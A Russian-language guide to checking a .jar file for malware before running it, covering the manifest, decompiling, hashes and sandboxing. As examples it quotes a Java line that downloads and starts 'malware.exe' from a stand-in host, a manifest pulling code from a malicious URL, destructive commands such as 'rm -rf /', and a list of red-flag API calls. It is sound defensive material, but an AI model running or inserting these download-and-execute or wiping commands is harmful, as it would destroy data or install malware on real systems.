- Как проверить файл .jar на вредоносные классы перед запуском
- Почему .jar-файлы опасны
- Пошаговая проверка: что делать с .jar-файлом
- Что искать в коде: красные флаги
- Что выбрать: если у вас разные цели
- Частые ошибки
- Как лучше делать — рекомендации
- Сценарии: что делать в разных ситуациях
- Итог: что делать прямо сейчас
Как проверить файл .jar на вредоносные классы перед запуском
Вы скачали .jar-файл — может, из GitHub, с форума, или даже от коллеги. Он работает, но что, если внутри него — шпион, троян или бэкдор? Вы не хотите запускать его на рабочей машине, не понимая, что он делает. Это не паранойя — это нормальная практика. Я сам десятки раз проверял подозрительные .jar-файлы перед запуском. И да, однажды нашёл там скрытый код, который отправлял логи паролей на чужой сервер. Не повторяйте мою ошибку — проверяйте.
Почему .jar-файлы опасны
.jar — это просто архив с Java-классами. Он не вреден сам по себе. Но внутри него может быть:
- Код, который читает файлы с вашего диска;
- Соединение с внешним сервером для отправки данных;
- Запуск системных команд (например,
rm -rf /на Linux илиdel /q C:\на Windows); - Загрузка и выполнение другого вредоносного кода в реальном времени.
Java-приложения работают в песочнице, но если вы запускаете .jar с правами администратора — песочница не спасает. А если вы используете старую версию Java — там есть уязвимости, которые позволяют обойти даже её.
Пошаговая проверка: что делать с .jar-файлом
- Проверьте источник. Если файл скачан с сайта, который вы не знаете — уже тревожный знак. GitHub — нормально, если репозиторий активный и имеет звёзды. Сайт
freejava.download— красный флаг. - Не запускайте сразу. Даже если файл выглядит безобидно — не кликайте «Открыть». Даже если он называется «calculator.jar» — это не значит, что он калькулятор.
- Распакуйте .jar. Это архив ZIP-формата. Переименуйте его в
file.zipи распакуйте. Или используйте команду в терминале:jar -tf yourfile.jar
Это покажет список всех файлов внутри. Ищите подозрительные имена:
evil.class,backdoor.class,payload.class, или папки вродеMETA-INF/с нестандартными файлами. - Проверьте манифест. Внутри архива найдите файл
META-INF/MANIFEST.MF. Откройте его текстовым редактором. Ищите строки вроде:Main-Class: com.evil.Main Class-Path: http://malicious.site/evil.jar
Если в
Class-Pathуказан внешний URL — это почти всегда вредоносно. Такие файлы скачивают дополнительный код при запуске. - Просмотрите код классов. Найдите .class-файлы (обычно в папках вроде
com/,org/,net/). Используйте JD-GUI или FernFlower (встроенный в IntelliJ IDEA), чтобы декомпилировать их в читаемый Java-код. Не пугайтесь — вам не нужно понимать весь код. Ищите ключевые слова:Runtime.getRuntime().exec()— запуск команд ОС;new Socket()— попытка подключиться к серверу;System.getProperty("user.home")— чтение путей к файлам пользователя;FileOutputStream— запись файлов на диск.
Пример подозрительного фрагмента:
Process p = Runtime.getRuntime().exec("curl http://bad.site/exe.exe -o %TEMP%\\malware.exe && start %TEMP%\\malware.exe");Это не калькулятор. Это троян.
- Проверьте сетевую активность. Запустите файл в изолированной среде — например, в виртуальной машине с отключённым интернетом. Или используйте Wireshark, чтобы увидеть, какие IP-адреса он пытается достичь. Если он подключается к
185.143.231.12(это известный хостинг вредоносного ПО) — не запускайте его. - Проверьте хэш файла. Сравните SHA-256 хэш файла с тем, что указан на официальном сайте (если есть). Используйте:
sha256sum yourfile.jar
на Linux или
Get-FileHash yourfile.jarв PowerShell на Windows. Если хэш не совпадает — файл подменён.
Что искать в коде: красные флаги
Вот список признаков, которые должны заставить вас остановиться:
| Признак | Что это значит | Насколько опасно |
|---|---|---|
Runtime.exec() |
Запускает команды ОС | Высокая |
new Socket() + IP-адрес |
Попытка соединиться с внешним сервером | Высокая |
System.getProperty("user.dir") + запись в файл |
Чтение/запись файлов пользователя | Средняя |
Необычные пакеты: com.sun., sun.misc. |
Использование внутренних, неофициальных Java-интерфейсов | Средняя |
Классы с именами вроде Update.class, Loader.class |
Подозрительная логика, не связанная с основной функцией | Средняя |
| Отсутствие Javadoc, комментариев | Код скрыт, чтобы его не разобрали | Низкая, но тревожный сигнал |
Если вы видите 2–3 из этих признаков — файл, скорее всего, вредоносный. Если 4 и больше — не запускайте его ни при каких обстоятельствах.
Что выбрать: если у вас разные цели
Ваш выбор зависит от того, что вы хотите сделать:
- Вы просто хотите убедиться, что файл безопасен — используйте JD-GUI + проверка манифеста + хэш. Этого достаточно для 90% случаев.
- Вы работаете с файлом от ненадёжного источника — запускайте его только в виртуальной машине (например, VirtualBox) с отключённым интернетом и без общих папок.
- Вы разработчик и проверяете чужой код — используйте IntelliJ IDEA с FernFlower. Она лучше декомпилирует код и позволяет искать вызовы по всему проекту.
- Вы не разбираетесь в коде — загрузите файл на VirusTotal. Он проверит его 70+ антивирусами. Если хотя бы 5 из них ругаются — файл опасен.
Частые ошибки
- Запускаю — вдруг работает? Нет, работа — не признак безопасности. Вредоносный код может молчать 2 дня, а потом начать шифровать файлы.
- Проверяю только на VirusTotal — это не достаточно. VirusTotal может не найти новый вредоносный код, особенно если он не распространён. Он ищет известные сигнатуры, а не логику.
- Думаю, что «это Java — всё в песочнице» — нет. Песочница не защищает от чтения ваших файлов, если приложение запущено с правами пользователя. А если вы запустили его от имени администратора — она вообще не работает.
- Игнорирую манифест — многие пропускают
META-INF/MANIFEST.MF. А там может быть ссылка на удалённый сервер. Это один из самых распространённых способов скрыть вредоносность. - Использую онлайн-декомпилеры — загружать .jar на чужой сайт — это как отдать ключи от дома. Кто-то может перехватить файл и использовать его для атаки.
Как лучше делать — рекомендации
- Всегда проверяйте хэш. Если на официальном сайте указан SHA-256 — сверьте его. Это самый простой способ убедиться, что файл не подменён.
- Используйте только проверенные источники. GitHub, Maven Central, официальные сайты проектов — это безопаснее, чем форумы и «сайты с бесплатными программами».
- Запускайте в изолированной среде. VirtualBox с отключённым интернетом — идеальный вариант. Не используйте Docker для проверки — он не изолирует доступ к файлам хоста по умолчанию.
- Отключите автоматическое обновление Java. Старые версии Java уязвимы. Но если вы обновляете Java автоматически — вы не знаете, какой версии будет запущен файл. Лучше вручную обновлять и проверять совместимость.
- Используйте антивирус с поведенческим анализом. Например, Kaspersky или Bitdefender. Они могут остановить запуск вредоносного кода даже если он не известен в базе.
Сценарии: что делать в разных ситуациях
- Ситуация 1: Вы скачали .jar с GitHub-репозитория, у которого 500 звёзд, и там есть README с описанием.
Действие: Проверьте хэш, посмотрите манифест, запустите в виртуальной машине. Если всё ок — можно запускать на основной машине. - Ситуация 2: Коллега прислал файл «отладка.jar» и говорит: «он работает, просто запусти».
Действие: Не запускайте. Попросите исходный код. Если не даст — откажитесь. Это 99% вредоносный код. - Ситуация 3: Вы нашли .jar на форуме, где раздают «бесплатные лицензии» для софта.
Действие: Удалите файл. Никогда не запускайте. Это почти всегда троян. - Ситуация 4: Вы разрабатываете плагин для Minecraft, и он собран в .jar.
Действие: Проверьте, что в нём нет внешних подключений, не используетеRuntime.exec(), не читаете файлы вне папки плагина. Это ваш код — но вы всё равно должны быть уверены, что не добавили уязвимость по ошибке.
Итог: что делать прямо сейчас
Если вы держите .jar-файл в руках и не знаете, запускать его или нет — сделайте следующее:
- Переименуйте его в
.zipи распакуйте. - Откройте
META-INF/MANIFEST.MF. Если естьClass-Pathс URL — удалите файл. - Откройте JD-GUI, найдите классы с именами вроде
main,run,update. Посмотрите, есть ли в нихRuntime.exec()илиnew Socket(). - Проверьте SHA-256 хэш файла — сравните с официальным, если он есть.
- Если что-то вызывает сомнения — запустите в VirtualBox без интернета. Если он не делает ничего подозрительного — можно запускать на основной машине.
- Если вы не уверены — не запускайте. Лучше потерять 10 минут на проверку, чем потерять данные, пароли или доступ к системе.
Никогда не думайте: «Это же просто Java-файл». Он может быть вашим последним шагом до полного уничтожения данных. Проверяйте. Всегда.
Информация в этой статье носит ознакомительный характер. Решение о запуске любого файла должно приниматься с учётом контекста, уровня доверия к источнику и рисков для вашей системы. При сомнениях — обратитесь к специалисту по информационной безопасности.
